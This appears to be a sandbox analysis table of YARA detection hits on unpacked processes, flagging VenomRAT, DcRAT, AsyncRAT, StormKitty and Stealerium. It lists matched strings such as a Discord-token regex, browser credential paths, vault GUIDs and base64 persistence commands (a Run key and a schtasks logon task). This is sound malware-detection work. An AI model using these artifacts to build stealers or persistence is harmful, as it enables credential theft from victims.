13.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
13.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
13.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
13.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
13.2.RegAsm.exe.525b8a.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
13.2.RegAsm.exe.525b8a.0.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1c5103539f2.10.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.1c5103539f2.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.1c5103539f2.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.1c5103539f2.10.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.1c5103539f2.10.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.1c5103539f2.10.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d6b6:$a1: havecamera 0x1684e0:$a2: timeout 3 > NUL 0x16b863:$a3: START "" " 0x16bd78:$a3: START "" " 0x16bc53:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcf0:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.1c5103539f2.10.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16ebda:$str01: Processe: 0x16ea96:$str02: Compname: 0x16eb90:$str04: SandBoxie: 0x16eb26:$str08: WEBCAMS COUNT: 0x16eb4a:$str09: [Virtualization] 0x16f398:$str10: [Open google maps]( 0x170e0f:$str11: Remember password: 0x163f02:$str12: Target.Browsers.Firefox 0x14b67d:$str13: Modules.Keylogger 0x153540:$str14: ClipperAddresses 0x1556e5:$str15: ChromiumPswPaths 0x1556f7:$str15: ChromiumPswPaths 0x15163a:$str16: DetectedBankingServices 0x1517a3:$str17: DetectCryptocurrencyServices 0x15f69c:$str18: CheckRemoteDebuggerPresent 0x160621:$str19: GetConnectedCamerasCount
5.2.powershell.exe.1c5103539f2.10.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ec00:$str01: set_sUsername 0x13c132:$str03: set_sExpMonth 0x1514ed:$str04: WritePasswords 0x151fa7:$str05: WriteCookies 0x1556f6:$str06: sChromiumPswPaths 0x1556d1:$str07: sGeckoBrowserPaths 0x16ad7d:$str10: encrypted_key":"(.*?)"
5.2.powershell.exe.1c5103539f2.10.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcf0:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167dc0:$str04: Pac_ket 0x177b06:$str05: Perfor_mance 0x177b4a:$str06: Install_ed 0x1221b3:$str07: get_IsConnected 0x138678:$str08: get_ActivatePo_ng 0x14c5b3:$str09: isVM_by_wim_temper 0x1783f8:$str10: save_Plugin 0x1684e0:$str11: timeout 3 > NUL 0x1776e6:$str12: ProcessHacker.exe 0x1778d8:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.1c5103539f2.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcf0:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc53:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.1c5103539f2.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778d8:$q1: Select * from Win32_CacheMemory 0x177918:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x177966:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x1779b4:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.1c5103539f2.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fab4:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.1c5103539f2.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x17544f:$s1: \VPN\NordVPN 0x175435:$s2: \VPN\OpenVPN 0x175417:$s3: \VPN\ProtonVPN
5.2.powershell.exe.1c5103539f2.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a199:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a20b:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a295:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a327:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a391:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a403:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a499:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a529:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.1c5103539f2.10.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d50:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163ec4:$s6: VirtualBox 0x173a43:$s6: VirtualBox 0x16f460:$s8: Win32_ComputerSystem 0x1739a9:$s8: Win32_ComputerSystem 0x16c58c:$s9: Win32_Process Where ParentProcessID= 0x16c1a9:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c246:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c35b:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c443:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1c510a4149a.9.raw.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.1c510a4149a.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.1c510a4149a.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.powershell.exe.1c510a4149a.9.raw.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.1c510a4149a.9.raw.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.1c510a4149a.9.raw.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x11d67e:$a1: havecamera 0x1684a8:$a2: timeout 3 > NUL 0x16b82b:$a3: START "" " 0x16bd40:$a3: START "" " 0x16bc1b:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x16bcb8:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.1c510a4149a.9.raw.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x16eba2:$str01: Processe: 0x16ea5e:$str02: Compname: 0x16eb58:$str04: SandBoxie: 0x16eaee:$str08: WEBCAMS COUNT: 0x16eb12:$str09: [Virtualization] 0x16f360:$str10: [Open google maps]( 0x170dd7:$str11: Remember password: 0x163eca:$str12: Target.Browsers.Firefox 0x14b645:$str13: Modules.Keylogger 0x153508:$str14: ClipperAddresses 0x1556ad:$str15: ChromiumPswPaths 0x1556bf:$str15: ChromiumPswPaths 0x151602:$str16: DetectedBankingServices 0x15176b:$str17: DetectCryptocurrencyServices 0x15f664:$str18: CheckRemoteDebuggerPresent 0x1605e9:$str19: GetConnectedCamerasCount
5.2.powershell.exe.1c510a4149a.9.raw.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x12ebc8:$str01: set_sUsername 0x13c0fa:$str03: set_sExpMonth 0x1514b5:$str04: WritePasswords 0x151f6f:$str05: WriteCookies 0x1556be:$str06: sChromiumPswPaths 0x155699:$str07: sGeckoBrowserPaths 0x16ad45:$str10: encrypted_key":"(.*?)"
5.2.powershell.exe.1c510a4149a.9.raw.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x16bcb8:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x167d88:$str04: Pac_ket 0x177ace:$str05: Perfor_mance 0x177b12:$str06: Install_ed 0x12217b:$str07: get_IsConnected 0x138640:$str08: get_ActivatePo_ng 0x14c57b:$str09: isVM_by_wim_temper 0x1783c0:$str10: save_Plugin 0x1684a8:$str11: timeout 3 > NUL 0x1776ae:$str12: ProcessHacker.exe 0x1778a0:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.1c510a4149a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x16bcb8:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x16bc1b:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.1c510a4149a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x1778a0:$q1: Select * from Win32_CacheMemory 0x1778e0:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x17792e:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x17797c:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.1c510a4149a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x16fa7c:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.1c510a4149a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x175417:$s1: \VPN\NordVPN 0x1753fd:$s2: \VPN\OpenVPN 0x1753df:$s3: \VPN\ProtonVPN
5.2.powershell.exe.1c510a4149a.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x16a161:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x16a1d3:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x16a25d:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x16a2ef:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x16a359:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x16a3cb:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x16a461:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x16a4f1:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.1c510a4149a.9.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x167d18:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x163e8c:$s6: VirtualBox 0x173a0b:$s6: VirtualBox 0x16f428:$s8: Win32_ComputerSystem 0x173971:$s8: Win32_ComputerSystem 0x16c554:$s9: Win32_Process Where ParentProcessID= 0x16c171:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x16c20e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x16c323:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x16c40b:$cnc4: POST / HTTP/1.1
5.2.powershell.exe.1c500485e26.6.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x50e22:$x2: https://github.com/LimerBoy/StormKitty 0x50e3e:$x3: StormKitty
5.2.powershell.exe.1c51061fcd8.11.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
5.2.powershell.exe.1c51061fcd8.11.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
5.2.powershell.exe.1c51061fcd8.11.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.powershell.exe.1c51061fcd8.11.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
5.2.powershell.exe.1c51061fcd8.11.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
5.2.powershell.exe.1c51061fcd8.11.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x23f608:$a1: havecamera 0x28a432:$a2: timeout 3 > NUL 0x28d7b5:$a3: START "" " 0x28dcca:$a3: START "" " 0x28dba5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28dc42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
5.2.powershell.exe.1c51061fcd8.11.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x290b2c:$str01: Processe: 0x2909e8:$str02: Compname: 0x290ae2:$str04: SandBoxie: 0x290a78:$str08: WEBCAMS COUNT: 0x290a9c:$str09: [Virtualization] 0x2912ea:$str10: [Open google maps]( 0x292d61:$str11: Remember password: 0x285e54:$str12: Target.Browsers.Firefox 0x26d5cf:$str13: Modules.Keylogger 0x275492:$str14: ClipperAddresses 0x277637:$str15: ChromiumPswPaths 0x277649:$str15: ChromiumPswPaths 0x27358c:$str16: DetectedBankingServices 0x2736f5:$str17: DetectCryptocurrencyServices 0x2815ee:$str18: CheckRemoteDebuggerPresent 0x282573:$str19: GetConnectedCamerasCount
5.2.powershell.exe.1c51061fcd8.11.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x2fc213:$sk01: LimerBoy/StormKitty 0x250b52:$str01: set_sUsername 0x25e084:$str03: set_sExpMonth 0x27343f:$str04: WritePasswords 0x273ef9:$str05: WriteCookies 0x277648:$str06: sChromiumPswPaths 0x277623:$str07: sGeckoBrowserPaths 0x28cccf:$str10: encrypted_key":"(.*?)"
5.2.powershell.exe.1c51061fcd8.11.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28dc42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x289d12:$str04: Pac_ket 0x299a58:$str05: Perfor_mance 0x299a9c:$str06: Install_ed 0x244105:$str07: get_IsConnected 0x25a5ca:$str08: get_ActivatePo_ng 0x26e505:$str09: isVM_by_wim_temper 0x29a34a:$str10: save_Plugin 0x28a432:$str11: timeout 3 > NUL 0x299638:$str12: ProcessHacker.exe 0x29982a:$str13: Select * from Win32_CacheMemory
5.2.powershell.exe.1c51061fcd8.11.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28dc42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28dba5:$s2: L2Mgc2NodGFza3MgL2
5.2.powershell.exe.1c51061fcd8.11.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29982a:$q1: Select * from Win32_CacheMemory 0x29986a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x2998b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x299906:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
5.2.powershell.exe.1c51061fcd8.11.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x291a06:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
5.2.powershell.exe.1c51061fcd8.11.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2973a1:$s1: \VPN\NordVPN 0x297387:$s2: \VPN\OpenVPN 0x297369:$s3: \VPN\ProtonVPN
5.2.powershell.exe.1c51061fcd8.11.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28c0eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28c15d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28c1e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28c279:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28c2e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28c355:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28c3eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28c47b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
5.2.powershell.exe.1c51061fcd8.11.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x2fc200:$x2: https://github.com/LimerBoy/StormKitty 0x2fc21c:$x3: StormKitty 0x27c1f4:$s2: GetAntivirus 0x29225a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28b6a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28cccd:$s6: "encrypted_key":"(.*?)"
5.2.powershell.exe.1c51061fcd8.11.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x289ca2:$s3: {{ ProcessId = {0}, Name = {1}, ExecutablePath = {2} }} 0x285e16:$s6: VirtualBox 0x295995:$s6: VirtualBox 0x2913b2:$s8: Win32_ComputerSystem 0x2958fb:$s8: Win32_ComputerSystem 0x28e4de:$s9: Win32_Process Where ParentProcessID= 0x28e0fb:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x28e198:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x28e2ad:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x28e395:$cnc4: POST / HTTP/1.1
13.2.RegAsm.exe.400000.1.unpack	JoeSecurity_VenomRAT	Yara detected VenomRAT	Joe Security
13.2.RegAsm.exe.400000.1.unpack	JoeSecurity_StormKitty	Yara detected StormKitty Stealer	Joe Security
13.2.RegAsm.exe.400000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
13.2.RegAsm.exe.400000.1.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
13.2.RegAsm.exe.400000.1.unpack	JoeSecurity_BrowserPasswordDump_1	Yara detected BrowserPasswordDump	Joe Security
13.2.RegAsm.exe.400000.1.unpack	JoeSecurity_Keylogger_Generic_3	Yara detected Keylogger Generic	Joe Security
13.2.RegAsm.exe.400000.1.unpack	Windows_Trojan_DCRat_1aeea1ac	unknown	unknown	0x241408:$a1: havecamera 0x28c232:$a2: timeout 3 > NUL 0x28f5b5:$a3: START "" " 0x28faca:$a3: START "" " 0x28f9a5:$a4: L2Mgc2NodGFza3MgL2NyZWF0ZSAvZiAvc2Mgb25sb2dvbiAvcmwgaGlnaGVzdCAvdG4g 0x28fa42:$a5: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA==
13.2.RegAsm.exe.400000.1.unpack	infostealer_win_stealerium	Detects Stealerium based on specific strings	Sekoia.io	0x29292c:$str01: Processe: 0x2927e8:$str02: Compname: 0x2928e2:$str04: SandBoxie: 0x292878:$str08: WEBCAMS COUNT: 0x29289c:$str09: [Virtualization] 0x2930ea:$str10: [Open google maps]( 0x294b61:$str11: Remember password: 0x287c54:$str12: Target.Browsers.Firefox 0x26f3cf:$str13: Modules.Keylogger 0x277292:$str14: ClipperAddresses 0x279437:$str15: ChromiumPswPaths 0x279449:$str15: ChromiumPswPaths 0x27538c:$str16: DetectedBankingServices 0x2754f5:$str17: DetectCryptocurrencyServices 0x2833ee:$str18: CheckRemoteDebuggerPresent 0x284373:$str19: GetConnectedCamerasCount
13.2.RegAsm.exe.400000.1.unpack	infostealer_win_stormkitty	Finds StormKitty samples (or their variants) based on specific strings	Sekoia.io	0x5db:$sk01: LimerBoy/StormKitty 0x252952:$str01: set_sUsername 0x25fe84:$str03: set_sExpMonth 0x27523f:$str04: WritePasswords 0x275cf9:$str05: WriteCookies 0x279448:$str06: sChromiumPswPaths 0x279423:$str07: sGeckoBrowserPaths 0x28eacf:$str10: encrypted_key":"(.*?)"
13.2.RegAsm.exe.400000.1.unpack	rat_win_dcrat_qwqdanchun	Find DcRAT samples (qwqdanchun) based on specific strings	Sekoia.io	0x28fa42:$str02: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA== 0x28bb12:$str04: Pac_ket 0x29b858:$str05: Perfor_mance 0x29b89c:$str06: Install_ed 0x245f05:$str07: get_IsConnected 0x25c3ca:$str08: get_ActivatePo_ng 0x270305:$str09: isVM_by_wim_temper 0x29c14a:$str10: save_Plugin 0x28c232:$str11: timeout 3 > NUL 0x29b438:$str12: ProcessHacker.exe 0x29b62a:$str13: Select * from Win32_CacheMemory
13.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_B64_Artifacts	Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.	ditekSHen	0x28fa42:$s1: U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuXA 0x28f9a5:$s2: L2Mgc2NodGFza3MgL2
13.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice	Detects executables attemping to enumerate video devices using WMI	ditekSHen	0x29b62a:$q1: Select * from Win32_CacheMemory 0x29b66a:$d1: {860BB310-5D01-11d0-BD3B-00A0C911CE86} 0x29b6b8:$d2: {62BE5D10-60EB-11d0-BD3B-00A0C911CE86} 0x29b706:$d3: {55272A00-42CB-11CE-8135-00AA004BB851}
13.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_Discord_Regex	Detects executables referencing Discord tokens regular expressions	ditekSHen	0x293806:$s1: [a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}\|mfa\.[a-zA-Z0-9_\-]{84}
13.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_References_VPN	Detects executables referencing many VPN software clients. Observed in infosteslers	ditekSHen	0x2991a1:$s1: \VPN\NordVPN 0x299187:$s2: \VPN\OpenVPN 0x299169:$s3: \VPN\ProtonVPN
13.2.RegAsm.exe.400000.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x28deeb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x28df5d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x28dfe7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x28e079:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x28e0e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x28e155:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x28e1eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x28e27b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
13.2.RegAsm.exe.400000.1.unpack	MALWARE_Win_StormKitty	Detects StormKitty infostealer	ditekSHen	0x5c8:$x2: https://github.com/LimerBoy/StormKitty 0x5e4:$x3: StormKitty 0x27dff4:$s2: GetAntivirus 0x29405a:$s4: ^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$ 0x28d4a5:$s5: BCrypt.BCryptGetProperty() (get size) failed with status code:{0} 0x28eacd:$s6: "encrypted_key":"(.*?)"
